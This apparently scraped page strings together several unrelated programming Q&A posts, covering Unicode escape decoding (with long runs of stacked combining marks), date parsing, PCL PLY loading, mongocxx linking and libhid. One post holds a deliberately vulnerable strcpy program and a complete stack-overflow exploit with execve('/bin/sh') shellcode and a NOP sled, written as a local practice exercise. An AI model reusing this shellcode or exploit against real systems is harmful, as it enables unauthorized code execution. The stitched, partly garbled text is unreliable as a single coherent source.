Maybe a stupid question but I like to decode these kind of unicode characters. How do I do it?
۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇̚̚̚̚̚̚̚̚̚̚̚̚
۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇̚̚̚̚̚̚̚̚̚̚̚̚
I like to be able to decode them into /uXXXX syntax so I can use them for instance in a web page...
If you're using windows you can try copying and pasting that into the character map application.
In C++ (with an implementation that supports C++11, such as is included in Xcode):
#include <iostream>
#include <iomanip>
#include <string>
#include <cstdint>
int main() {
std::u32string s = U"ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇͛̍ͪͩ́͒͆̓̉̽̍̏͂ͮ̈́ͦ̀ͤ͗̅͗̄̐̃ͬͮͣͩͮ̆̓́͛ͯͤͣͧ̔ͮ̈́ͯ̅۫ͫ̈́̊̃͛͐̎̂̓̃̇̚̚̚̚̚̚̚̚̚̚̚̚";
std::cout.fill('0');
std::cout << std::hex;
for (auto c : s)
std::cout << "\\u" << std::setw(4) << static_cast<std::uint_least32_t>(c);
}
Related
I'm developing a C++ timestamp parser that could check if any given string can be a timestamp representation, covering various formats.
I've tested some libraries and finally, I'm using the single header one developed by #howard-hinnant.
The only problem is with the Kitchen format 03:04AM (HH:MM<AM|PM>).
This is the code that I'm using:
#include "date.h"
#include <iostream>
#include <string>
#include <sstream>
int main()
{
std::string const fmt = "%I:%M%p" ;
std::string const time;
std::string const name;
date::fields<std::chrono::nanoseconds> fds {};
std::chrono::minutes offset {};
std::string abbrev;
const std::string in = "3:04a.m.";
std::stringstream ss(in);
std::unordered_map<std::string, std::string> result;
date::from_stream(ss, fmt.c_str(), fds, &abbrev, &offset);
if (!ss.fail())
{
if (fds.has_tod && fds.tod.in_conventional_range())
{
std::cout << "result hour " << std::to_string(fds.tod.hours().count()) << std::endl;
std::cout << ". minutes " << std::to_string(fds.tod.minutes().count())<< std::endl;
std::cout << ". seconds " << std::to_string(fds.tod.seconds().count())<< std::endl;
}
}
else
{
std::cout << "failed" << std::endl;
}
}
What I'm doing wrong, the code works great with other formats? is there a chance that parsing a date requires more fields in order to process it fully (year, month, day)?
Hope I made myself clear, thanks in advance!
In the "C" locale, %p refers to one of AM or PM. You have "a.m.". Removing the '.' works for me.
There is one other caveat: The POSIX spec for strptime specifies that case should be ignored. And my date lib follows the POSIX spec on this. However by default this library forwards to your std::library for this functionality. And some implementations didn't get the memo on this. They may not accept lower case.
If this happens for you, you can work around this std::lib bug by compiling with -DONLY_C_LOCALE on the command line (or set ONLY_C_LOCALE=1 in your IDE wherever macros are set). This tells the date lib to do the %p parse itself, instead of forwarding to the std::lib. And it will correctly do a case-insensitive parse. However it assumes that the "C" locale is in effect.
When importing a ply-file into my program I get an Error-message saying that something went wrong with the following message:
C:\Users\...\data\apple.ply:8: property 'list uint8 int32 vertex_indices' of element 'face' is not handled
I used a sample ply file from: https://people.sc.fsu.edu/~jburkardt/data/ply/apple.ply
I have already tried different ply files from different sources but none of them work. When debugging the program the io::loadPLYFile doesn't generate a valid pointcloud. Runtime Library for PCL and for my program are the same.
#include <iostream>
#include <pcl/io/pcd_io.h>
#include <pcl/io/ply_io.h>
#include <pcl/point_types.h>
#include <pcl/search/kdtree.h>
#include <pcl/features/normal_3d_omp.h>
#include <pcl/surface/marching_cubes_rbf.h>
using namespace pcl;
using namespace std;
int
main (int argc, char** argv)
{
PointCloud<PointXYZ>::Ptr cloud (new PointCloud<PointXYZ>);
std::cout << "Start Debug?" << std::endl;
std::cin.ignore();
if(io::loadPLYFile<PointXYZ> (argv[1], *cloud) == -1){
cout << "ERROR: couldn't find file" << endl;
return (1);
} else {
cout << "loaded" << endl;
NormalEstimationOMP<PointXYZ, Normal> ne;
search::KdTree<PointXYZ>::Ptr tree1 (new search::KdTree<PointXYZ>);
tree1->setInputCloud (cloud);
ne.setInputCloud (cloud);
ne.setSearchMethod (tree1);
ne.setKSearch (20);
PointCloud<Normal>::Ptr normals (new PointCloud<Normal>);
ne.compute (*normals);
I would expect the PCL function io::loadPLYFile to load the files properly as described in the documentation http://docs.pointclouds.org/1.3.1/group__io.html
the console output is just a warning as #kanstar already suggested! It can easily be ignored. The reason my program crashed in Debug but not in Release was that my Visual Studio linked to the wrong library version of boost which resulted in the crash. Fixing the linkage made the pcl::NormalEstimationOMP work as expected.
I'm trying to configure eclipse cdt to compile code that contains the mongocxx driver. This code is from mongo's installation page. The same errors I am getting on my own project are clearly displayed here. The includes are recognized but I believe that it is a linker issue.
#include <iostream>
#include <bsoncxx/builder/stream/document.hpp>
#include <bsoncxx/json.hpp>
#include <mongocxx/client.hpp>
#include <mongocxx/instance.hpp>
int main(int, char**) {
mongocxx::instance inst{};
mongocxx::client conn{mongocxx::uri{}};
bsoncxx::builder::stream::document document{};
auto collection = conn["testdb"]["testcollection"];
document << "hello" << "world";
collection.insert_one(document.view());
auto cursor = collection.find({});
for (auto&& doc : cursor) {
std::cout << bsoncxx::to_json(doc) << std::endl;
}
}
This is my actual screenshot with errors from my IDE
I've been practicing some basic stack-based buffer overflow task recently
and I wrote an vulnerable program like this:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc,char **argv)
{
if (argc<2) {
puts("Need enough args!!");
exit(0);
}
char buf[400];
strcpy(buf,argv[1]);
printf("Hi, %s\n",buf);
return 0;
}
and the exploit program like this:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define ATK_L 430
#define VUL_L 400
#define NOP_L 12
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
char *atk,vul[]="./vul1 ";
atk=(char*)malloc(sizeof(char)*ATK_L);
unsigned long i,ret,*ptr,ptr2;
ret=(unsigned long)atk;
ptr=(unsigned long*)atk;
for(i=0;i<ATK_L;i+=4){
*(ptr++)=ret;
}
for(i=0;i<NOP_L;i++){
atk[i]='\x90';
}
ptr2=0;
for(i=NOP_L;i<NOP_L+strlen(shellcode);i++){
atk[i]=shellcode[ptr2++];
}
atk[ATK_L-1]='\0';
strcat(vul,atk);
system(vul);
free(atk);
return 0;
}
Since I don't want to determine the offset , I just jump back to the beginning of the atk array . I turn off the ASLR & put the -fno-stack-protector flag when compiling , but when I run the exploit program it just say core dump and do nothing!! I use gdb to debug the exploit program and it said that it was killed in the getenv function and I just cant get understand.
I work on ubuntu 11.10 32bits
Thanks a lot :-)
i have problem with libhid .
i found that there 2 way 4 accessing the usb-hid in linux
1)linux default libraries like input.h and hiddev.h and ...
2)using libhid
i found libhid some confusing and try to use input.h but i have problem with that 2.
i dont know how to get information about my device from ubuntu
i use open() to open the device
str="/dev/inpt/eventX" \\where X=0,1,...,7(I'm not sure about this)
open(str,O_RDWR)
then get info with ioctl
ioctl(fd,EVIOCGVERSION,&version);
but it give me wrong vendor and product IDs
then
i try to use libhid but had know idea how to use libhid (or any other library) in eclipse or netbeans
can you tell me how you compiled your codes any IDE like eclipse or netbeans or just using terminal and gcc?
or
how to work with ioctl() and open() ?
my whole example code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ftw.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <asm/types.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/usbdevice_fs.h>
#include <linux/input.h>
#include <strings.h>
struct input_devinfo
{
uint16_t bustype;
uint16_t vendor;
uint16_t product;
uint16_t version;
};
int main(void) {
//puts("!!!Hello World!!!"); /* prints !!!Hello World!!! */
//usb_device ud;
//int i=0;
//string str;
//str=char[100];
//str="/dev/input/event0\n";
printf("------------- start -----------------\n");
char str[]="" ;
int version=0;
char c[16];
char t;
int i,fd;
//for (i=0 ; i<8 ; i++)
{
//strcpy(c,str);
//t=i-'0';
//printf("salam5\n");
//c[15]=t;
//openning
//open(str,O_RDONLY);//read and write
if ((fd = open(str,O_RDWR)) < 0)
perror("str open\n");
else
printf("%s opened successfully\n",str);
ioctl(fd,EVIOCGVERSION,&version);
printf("version = %d \n",version);
printf("evdev driver version is %d.%d.%d\n",version >> 16, (version >> 8) & 0xff, version & 0xff);
//geting info from device
struct input_devinfo device_info;
ioctl(fd,EVIOCGID,&device_info);
printf("vendor 0x%04hx product 0x%04hx version 0x%04hx is on ?",
device_info.vendor, device_info.product,
device_info.version);
}
return EXIT_SUCCESS;
}
I find a way to compile my code in eclipse
1 problem solved
to compile your code with GCC in terminal you should define libhid for GCC by adding "-lhid" to your command :
gcc test_libhid.c -lhid
if your using eclipse and you want to use libhid with it you should add "-lhid" to gcc linker in order to gcc could use libhid when its compiling your code
follow the steps:
1)on the project Explorer panel , R-click on your project select properties (last option)
or select your project and press Alt+Enter
2)in the left panel expand "c/c++ build" and select "setting"
3)in the right side select "tool setting" tab
4)you should see GCC C compiler and GCC C linker and GCC assembler in there .
expand GCC C linker and select Libraries
5)after selecting in the right side you should see 2 boxes: Libraries(-l) and Library search path(-L)
in the Libraries(-l) add "hid"
note:eclipse use GCC to compile your codes when you do this steps eclipse add "-lhid" parameter to gcc to able it recognizing the libhid.